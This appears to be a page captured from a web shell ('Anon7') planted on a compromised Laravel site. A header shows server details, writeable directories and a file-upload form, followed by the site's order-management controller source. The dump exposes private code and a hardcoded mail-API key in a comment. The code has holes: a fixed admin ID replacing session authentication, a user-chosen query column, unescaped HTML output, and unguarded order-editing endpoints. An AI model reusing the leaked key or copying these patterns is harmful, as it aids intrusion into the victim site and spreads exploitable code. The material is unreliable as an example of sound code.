KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/parassaas.edukrypt.in/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/parassaas.edukrypt.in/app/Http/Controllers/OrderController.php
<?php

namespace App\Http\Controllers;

use App\Helpers\Frontend;
use Illuminate\Http\Request;
use App\Models\Content;
use App\Models\User;
use App\Models\Product;
use App\Models\Price;
use App\Models\Billing;
use App\Models\Orderproductgroup;
use App\Models\Main_category;
use App\Models\Email_log;
use Illuminate\Support\Facades\DB;
use App\Imports\TrackingId;
use Maatwebsite\Excel\Facades\Excel;
// use PDF;
use Mail;
use Postal;

class OrderController extends Controller
{
	/**
	 * Display a listing of the resource.
	 *
	 * @return \Illuminate\Http\Response
	 */
	public function index(Request $request)
	{
		// $admin_id = $request->session()->get('loggedIn')['id'];
		$admin_id = '2';
		$data['mainMenu'] = 'orderManagement';
		$data['subMenu'] = 'orderList';
		$data['from_date'] = date('Y-m-d', strtotime('-30 day', strtotime(date('Y-m-d'))));
		$data['to_date'] = date('Y-m-d');
		$data['total_billing'] = 0;
		$data['totalAmount']    =  0;
		$data['totalQty']       =  0;
		$data['totalUser']      =  0;
		if (!empty($request->query())) {
			$query = Billing::where('billings.admin_id', $admin_id);
			if (!empty($request->query('course'))) {
				$query->Where('products.id', $request->query('course'));
			}
			if (!empty($request->query('payment_status'))) {
				$query->Where('billings.payment_status', $request->query('payment_status'));
			}
			if ($request->query('expired') != null) {
				$query->Where('orderproductgroups.expired', $request->query('expired'));
			}
			// for search
			if (!empty($request->query('search_fields')) && !empty($request->query('query'))) {
				$_fields = str_replace('_', '.', $request->query('search_fields'));
				$_search = $request->query('query');
				$query->where("$_fields", 'LIKE', '%' . $_search . '%');
			}
			if (!empty($request->query('from_date')) && !empty($request->query('to_date'))) {
				$start_date = date("Y-m-d", strtotime($request->query('from_date')));
				$end_date = date("Y-m-d", strtotime($request->query('to_date')));
				$query->whereBetween(DB::raw('DATE_FORMAT(billings.created_at, "%Y-%m-%d")'), [$start_date, $end_date]);
			}
			$query->join('users', 'users.user_unique_id', '=', 'billings.user_unique_id');
			$query->join('orderproductgroups', 'billings.id', '=', 'orderproductgroups.billing_id');
			$query->join('products', 'products.id', '=', 'orderproductgroups.product_id');
			$query->orderBy('billings.id', 'DESC');
		} else {
			$query = Billing::where(['billings.admin_id' => $admin_id])
				->join('orderproductgroups', 'billings.id', '=', 'orderproductgroups.billing_id')
				->join('users', 'users.user_unique_id', '=', 'billings.user_unique_id')
				->join('products', 'products.id', '=', 'orderproductgroups.product_id')
				->whereBetween(DB::raw('DATE_FORMAT(billings.created_at, "%Y-%m-%d")'), [$data['from_date'], $data['to_date']])
				->orderBy('billings.id', 'DESC');
		}
		$data['billings'] =  $query->paginate(10, ['billings.*', 'users.name', 'users.email', 'users.phone', 'orderproductgroups.product_name', 'orderproductgroups.expired', 'orderproductgroups.product_mode']);

		$_TOTAL = $query->paginate(10, [DB::raw('COUNT(billings.id) AS total_billing'), DB::raw('SUM(billings.total_amount) AS total_sales'), DB::raw('SUM(billings.quantity) AS total_quantity'), DB::raw('COUNT(billings.user_unique_id) AS total_users')]);
		if (count($_TOTAL) > 0) {
			$data['total_billing']  =  $_TOTAL[0]->total_billing;
			$data['totalAmount']    =  $_TOTAL[0]->total_sales;
			$data['totalQty']       =  $_TOTAL[0]->total_quantity;
			$data['totalUser']      =  $_TOTAL[0]->total_users;
		}
		// dd($_TOTAL);
		$data['main_categories'] =  Main_category::where(['admin_id' => $admin_id, 'type' => 'content'])->get();
		$data['products'] =  Product::where(['admin_id' => $admin_id])->get();
		$data['amounts'] = Billing::where(['billings.admin_id' => $admin_id])
			->join('users', 'users.user_unique_id', '=', 'billings.user_unique_id')
			->distinct()
			->get(['billings.*']);
		$getTotal =  $this->getTotal($data['billings']);
		// Total Boxes
		// $data['totalAmount']    =  $_TOTAL[0]->total_sales;
		// $data['totalQty']       =  $getTotal['totalQty'];
		// $data['totalUser']      =  $getTotal['totalUser'];
		return view("admin.order.order-list", $data);
	}
	public function getTotal($billings)
	{
		$total = [];
		$totalAmount = 0;
		$totalQty = 0;
		$totalUser = [];
		if (!empty($billings)) {
			foreach ($billings as $billing) {
				$totalAmount = $totalAmount + $billing->total_amount;
				$totalQty = $totalQty + $billing->quantity;
				$totalUser[] = $billing->user_unique_id;
			}
		}
		$_totalUser = count(array_unique($totalUser));
		$total['totalAmount'] = $totalAmount;
		$total['totalQty'] = $totalQty;
		$total['totalUser'] = $_totalUser;
		return $total;
	}
	public function getProduct(Request $request)
	{
		$html = '';
		$catid = $request->catid;
		$products =  Product::where(['cat_id' => $catid])->get();
		if (!empty($products)) {
			$html .= '<select>';
			foreach ($products as $product) {
				$html .= '<option value=' . $product->id . '>' . $product->name . '</option>';
			}
			$html .= '</select>';
		}
		echo json_encode($html);
	}
	/**
	 * Show the form for creating a new resource.
	 *
	 * @return \Illuminate\Http\Response
	 */
	public function create(Request $request)
	{
		// $admin_id = $request->session()->get('loggedIn')['id'];
		$admin_id = '2';
		$data['mainMenu'] = 'orderManagement';
		$data['subMenu'] = 'orderList';
		$data['users'] = User::where(['status' => '1'])->orderBy('name', 'asc')->get();
		$data['products'] = Product::where(['admin_id' => $admin_id, 'status' => '1'])->get();
		return view('admin.order.add-order', $data);
	}
	/**
	 * Store a newly created resource in storage.
	 *
	 * @param  \Illuminate\Http\Request  $request
	 * @return \Illuminate\Http\Response
	 */
	public function store(Request $request)
	{
		$request->validate([
			'user_id' => 'required',
			'prod_id' => 'required',
			'price' => 'required',
			'state' => 'required',
			'mode' => 'required'
		]);
		// $admin_id = $request->session()->get('loggedIn')['id'];
		$admin_id = '2';
		$user_unique_id = $request->user_id;
		$prod_id = $request->prod_id;
		$mode_id = $request->mode;
		$_total_amount = $request->price;
		$_place_of_supply = $request->state;
		// dd($user_unique_id);
		// Website Info
		$webInfo = Frontend::getWebsiteInfo($admin_id);
		// dd($webInfo);
		if (empty($webInfo)) {
			return back()->with('error', 'Website information is missing!');
		}
		// Product & Mode
		$product = Product::where(['id' => $prod_id, 'status' => '1'])->first();
		$mode = Price::where(['id' => $mode_id])->first();
		// dd($mode);
		if (!empty($product) && !empty($mode)) {
			// Order Product Calculation
			$_days = $mode->duration;
			$_mode = $mode->mode;
			$_views = $mode->views;
			$_discount_percent = (($mode->discount_percnt > 0) ? $mode->discount_percnt : 0);
			$_max_discount = $mode->max_discount;
			$_invoice_prefix = (!empty($webInfo->invoice_prefix) ? $webInfo->invoice_prefix : "");
			$timestamp = date('Y-m-d');
			$expires = strtotime('+' . $_days . ' days', strtotime($timestamp));
			$expire_date = date('Y-m-d', $expires);
			$_billing_data = array();
			$_bill_type = ($_place_of_supply == $webInfo->site_state) ? 'in' : 'out';
			$_tax_percentage = $webInfo->site_tax_percentage;
			$_cashback = round(0, 2);
			$_tax_amount = round(0, 2);
			$_taxable_amount = round(0, 2);
			$_discount_amount = round(0, 2);
			$_total_amount = round($_total_amount, 2);
			foreach ($user_unique_id as $user_unique) {
				$_serialNo = Frontend::getInvoiceSerialNo($admin_id);
				$_financialYear = Frontend::getCurrentFinancialYear();
				$_bill_No = $_invoice_prefix . "/$_financialYear/$_serialNo";
				$_order_type = $_total_amount > 0 ? 'paid' : 'free';
				$_serial_no = $_total_amount > 0 ? $_serialNo : 0;
				$_tax_invoice_no = $_total_amount > 0 ? $_bill_No : null;
				$_transaction_id = $_total_amount > 0 ? $_invoice_prefix : "FREE";
				if ($_total_amount > 0) {
					$_discount_amount = round((($_discount_percent / 100) * $_total_amount), 2);
					$_discount_amount = ($_discount_amount > $_max_discount ? $_max_discount : $_discount_amount);
					$_total_amount_revised = round(($_total_amount - $_discount_amount), 2);
					$_taxable_amount = round((($_total_amount_revised * 100) / (100 + $_tax_percentage)), 2);
					$_tax_amount = $_total_amount_revised - $_taxable_amount;
				}
				// Billing Details
				$_billing_data = array(
					'admin_id' => $admin_id,
					'payment_request_id' => md5(uniqid()),
					'transaction_id' => ($_transaction_id . uniqid()),
					'tax_invoice_no' => $_tax_invoice_no,
					'serial_no' => $_serial_no,
					'user_unique_id' => $user_unique,
					'quantity' => 1,
					'taxable_amount' => $_taxable_amount,
					'tax_amount' => $_tax_amount,
					'total_amount' => $_total_amount,
					'payment_status' => 'Credit',
					'instrument_type' => 'Manual',
					'place_of_supply' => $_place_of_supply,
					'bill_type' => $_bill_type,
					'order_type' => $_order_type,
					'promo_code' => null,
					'cashback' => $_cashback,
					'discount' => $_discount_amount,
					'use_wallet' => 'no',
					'long_url' => null,
					'tracking_no' => null,
					'tracking_status' => null,
					'created_at' => date('Y-m-d H:i:s'),
				);
				$res_billing = Billing::create($_billing_data);
				$billing_id =  $res_billing->id;
				if (!empty($billing_id)) {
					// Order Product Group
					$order_product_group = array(
						'product_id'        => $prod_id,
						'quantity'          => 1,
						'promo_code'        => null,
						'user_unique_id'    => $user_unique,
						'billing_id'        => $billing_id,
						'tax_invoice_no'    => $_tax_invoice_no,
						'tax_amount'        => $_tax_amount,
						'taxable_amount'    => $_taxable_amount,
						'total_amount'      => $_total_amount,
						'discount'          => $_discount_amount,
						'cashback'          => $_cashback,
						'product_mode'      => $_mode,
						'product_type'      => $product->type,
						'product_name'      => $product->name,
						'days'              => $_days,
						'views'             => $_views,
						'start_date'        => date('Y-m-d'),
						'expire_date'       => $expire_date,
						'updgrade'          => 'new',
						'expired'           => '0',
						'created_at'        => date('Y-m-d H:i:s'),
					);
					// $order_product_group['billing_id'] = $billing_id;
					$result = Orderproductgroup::create($order_product_group);
					if (!empty($result)) {
						$_id = $result->id;
						$_data = array('expired' => '1');
						Orderproductgroup::where(['user_unique_id' => $user_unique, 'product_id' => $prod_id])
							->whereNotIn('id', [$_id])->update($_data);
					}
					$billing = Billing::where(['id' => $billing_id])->first();
					$users = User::where(['user_unique_id' => $user_unique])->first();
					$orders = Orderproductgroup::where(['billing_id' => $billing_id])->get();
					// dd($orders);
					$data["email"] = $users->email;
					$data["name"] = $users->name;
					$data["phone"] = $users->phone;
					$data["state"] = $billing->place_of_supply;
					$data["billno"] = $billing->tax_invoice_no;
					$data["bill_type"] = $billing->bill_type;
					$data["paymentid"] = $billing->transaction_id;
					$data["billdate"] = $billing->created_at;
					$data["total_amount"] = $billing->total_amount;
					$data["taxable_amount"] = $billing->taxable_amount;
					$data["tax_amount"] = $billing->tax_amount;
					$data["amount_in_words"] = $this->numberTowords($billing->total_amount);
					$data['promo_discount'] = 0;
					$data['wallet_discount'] = 0;
					$data['orders'] = $orders;
					$subject = "Invoice Mail";
					// $to = $users->email;
					$to = $users->email;
					// $html = view('emails.invoice', $data)->render();
					// $pdf = PDF::loadView('emails.invoice', $data);
					// $html = '';
					// $client = new Postal\Client('https://postal.balancepost.in', 'iWywyFU1xiri3GvnsbUlVUc1');
					// Create a new message
					// $message = new Postal\SendMessage($client);
					// Add some recipients
					// $message->to($to);
					//$message->to('mail@globalexcell.co.in');
					//$message->cc('abhishek@globalexcell.co.in');
					//$message->bcc('secret@awesomeapp.com');
					// Specify who the message should be from. This must be from a verified domain
					// on your mail server.
					// $message->from('info@navinclasses.com');
					// Set the subject
					// $message->subject($subject);
					// Set the content for the e-mail
					//$message->plainBody('Hello world!');
					// $message->htmlBody($html);
					// Add any custom headers
					//$message->header('X-PHP-Test', 'value');
					// Attach any files
					// $message->attach('textmessage.pdf', 'application/pdf', $pdf->output());
					// Send the message and get the result
					// $result = $message->send();
					// if ($result) {
					// $log_data = array(
					// 'email' => $users->email
					// );
					// Email_log::create($log_data);
					// }
					// if ($result) {
					//     return back()
					//         ->with('success', 'Order Has Been Created!.');
					// } else {
					//     return back()
					//         ->with('error', 'Something Went Wrong!');
					// }
				}
			}
			return back()
				->with('success', 'Order Has Been Created!.');
			// return back()->with('error', 'Something Went Wrong!');
		}
		return back()->with('error', 'Something Went Wrong!');
	}

	public function OrderInvoice($billing_id)
	{
		$billing = Billing::where(['id' => $billing_id])->first();
		$users = User::where(['user_unique_id' => $billing->user_unique_id])->first();
		$orders = Orderproductgroup::where(['billing_id' => $billing_id])->get();
		// dd($orders);
		$data["email"] = $users->email;
		$data["name"] = $users->name;
		$data["phone"] = $users->phone;
		$data["state"] = $billing->place_of_supply;
		$data["bill_type"] = $billing->bill_type;
		$data["billno"] = $billing->tax_invoice_no;
		$data["paymentid"] = $billing->transaction_id;
		$data["billdate"] = $billing->created_at;
		$data["total_amount"] = $billing->total_amount;
		$data["taxable_amount"] = $billing->taxable_amount;
		$data["tax_amount"] = $billing->tax_amount;
		$data["amount_in_words"] = $this->numberTowords($billing->total_amount);
		$data['promo_discount'] = 0;
		$data['wallet_discount'] = 0;
		$data['orders'] = $orders;
		return view('emails.invoice', $data);
	}
	public function numberTowords(float $amount)
	{
		$amount_after_decimal = round($amount - ($num = floor($amount)), 2) * 100;
		// Check if there is any number after decimal
		$amt_hundred = null;
		$count_length = strlen($num);
		$x = 0;
		$string = array();
		$change_words = array(
			0 => '', 1 => 'One', 2 => 'Two',
			3 => 'Three', 4 => 'Four', 5 => 'Five', 6 => 'Six',
			7 => 'Seven', 8 => 'Eight', 9 => 'Nine',
			10 => 'Ten', 11 => 'Eleven', 12 => 'Twelve',
			13 => 'Thirteen', 14 => 'Fourteen', 15 => 'Fifteen',
			16 => 'Sixteen', 17 => 'Seventeen', 18 => 'Eighteen',
			19 => 'Nineteen', 20 => 'Twenty', 30 => 'Thirty',
			40 => 'Forty', 50 => 'Fifty', 60 => 'Sixty',
			70 => 'Seventy', 80 => 'Eighty', 90 => 'Ninety'
		);
		$here_digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
		while ($x < $count_length) {
			$get_divider = ($x == 2) ? 10 : 100;
			$amount = floor($num % $get_divider);
			$num = floor($num / $get_divider);
			$x += $get_divider == 10 ? 1 : 2;
			if ($amount) {
				$add_plural = (($counter = count($string)) && $amount > 9) ? 's' : null;
				$amt_hundred = ($counter == 1 && $string[0]) ? ' and ' : null;
				$string[] = ($amount < 21) ? $change_words[$amount] . ' ' . $here_digits[$counter] . $add_plural . ' 
         ' . $amt_hundred : $change_words[floor($amount / 10) * 10] . ' ' . $change_words[$amount % 10] . ' 
         ' . $here_digits[$counter] . $add_plural . ' ' . $amt_hundred;
			} else $string[] = null;
		}
		$implode_to_Rupees = implode('', array_reverse($string));
		$get_paise = ($amount_after_decimal > 0) ? "And " . ($change_words[$amount_after_decimal / 10] . " 
   " . $change_words[$amount_after_decimal % 10]) . ' Paise' : '';
		return ($implode_to_Rupees ? $implode_to_Rupees . 'Rupees ' : '') . $get_paise;
	}
	/**
	 * Display the specified resource.
	 *
	 * @param  int  $id
	 * @return \Illuminate\Http\Response
	 */
	public function show($id)
	{
		//
	}
	/**
	 * Show the form for editing the specified resource.
	 *
	 * @param  int  $id
	 * @return \Illuminate\Http\Response
	 */
	public function edit($id)
	{
		//
	}
	/**
	 * Update the specified resource in storage.
	 *
	 * @param  \Illuminate\Http\Request  $request
	 * @param  int  $id
	 * @return \Illuminate\Http\Response
	 */
	public function update(Request $request, $id)
	{
		//
	}
	/**
	 * Remove the specified resource from storage.
	 *
	 * @param  int  $id
	 * @return \Illuminate\Http\Response
	 */
	public function destroy($id)
	{
		$_billing = Billing::where(['id' => $id])->first();
		if (!empty($_billing)) {
			Orderproductgroup::where(['billing_id' => $_billing->id])->delete();
			Billing::where(['id' => $id])->delete();
		}
		return back()->with('success', 'Post deleted successfully');
	}
	public function getProductPrice(Request $request)
	{
		$html = '';
		$prod_id = $request->prod_id;
		$prices = Price::where(['product_id' => $prod_id])->get();
		$html .= "<option>Select Mode</option>";
		if (!empty($prices)) {
			foreach ($prices as $price) {
				$mode = ucfirst(str_replace('_', ' ', $price->mode));
				$html .= "<option value=" . $price->id . ">" . $mode . " | " . $price->duration . " Days </option>";
			}
		}
		print_r($html);
	}
	public function getPriceDuration(Request $request)
	{
		$mode_id = $request->mode_id;
		$price = Price::where(['id' => $mode_id])->first();
		echo json_encode($price);
	}
	/// order product list
	public function orderProductList(Request $request, $billing_id)
	{
		$admin_id = $request->session()->get('loggedIn')['id'];
		$data['mainMenu'] = 'orderManagement';
		$data['subMenu'] = 'orderList';
		$data['invoice'] = Billing::where(['billings.admin_id' => $admin_id, 'id' => $billing_id])->first();
		if (isset($_GET['query']) && strlen($_GET['query']) > 1) {
			$search_text = $_GET['query'];
			$data['billings'] = Billing::where('users.name', 'LIKE', '%' . $search_text . '%')
				->orWhere('users.email', 'LIKE', '%' . $search_text . '%')
				->orWhere('users.phone', 'LIKE', '%' . $search_text . '%')
				->orWhere('billings.trans_id', 'LIKE', '%' . $search_text . '%')
				->orWhere('billings.payment_id', 'LIKE', '%' . $search_text . '%')
				->orWhere('billings.paymentstatus', 'LIKE', '%' . $search_text . '%')
				->orWhere('billings.order_no', 'LIKE', '%' . $search_text . '%')
				->orWhere('orderproductgroups.product_name', 'LIKE', '%' . $search_text . '%')
				->where(['billings.admin_id' => $admin_id, 'orderproductgroups.billing_id' => $billing_id])
				->join('users', 'users.user_unique_id', '=', 'billings.user_unique_id')
				->join('orderproductgroups', 'billings.id', '=', 'orderproductgroups.billing_id')
				->paginate(10, ['orderproductgroups.*', 'users.name', 'users.email', 'users.phone']);
			return view('admin.order.order-product-list', $data);
		} else {
			$data['billings'] = Billing::where(['billings.admin_id' => $admin_id, 'orderproductgroups.billing_id' => $billing_id])
				->join('users', 'users.user_unique_id', '=', 'billings.user_unique_id')
				->join('orderproductgroups', 'billings.id', '=', 'orderproductgroups.billing_id')
				->paginate(10, ['orderproductgroups.*', 'users.name', 'users.email', 'users.phone']);
			return view('admin.order.order-product-list', $data);
		}
	}
	public function changeOrderStatus(Request $request)
	{
		// dd($request->input());
		$data = array(
			'expired' => $request->status
		);
		Orderproductgroup::where(['id' => $request->id])->update($data);
	}
	public function import()
	{
		// print_r($_FILES);exit;
		$a = Excel::import(new TrackingId, request()->file('file'));
		return back();
	}

	public function extendOrders(Request $request)
	{

		// days
		if (empty($request->days)) {
			echo json_encode(array('status' => 'error', 'message' => 'Days required!'));
			exit;
		}
		// opg_id
		if (empty($request->opg_id)) {
			echo json_encode(array('status' => 'error', 'message' => 'Please select order from list!'));
			exit;
		}

		if (Orderproductgroup::where(['id' => $request->opg_id])->count() > 0) {
			$data = array(
				'days' => $request->days,
				'start_date' => date('Y-m-d'),
				'expire_date' => date('Y-m-d', strtotime("+" . $request->days . " day")),
				'expired' => '0'
			);
			Orderproductgroup::where(['id' => $request->opg_id])->update($data);
			echo json_encode(array('status' => 'success', 'message' => 'Your order updated successfully!'));
			exit;
		} else {
			exit;
		}
	}
}

Anon7 - 2021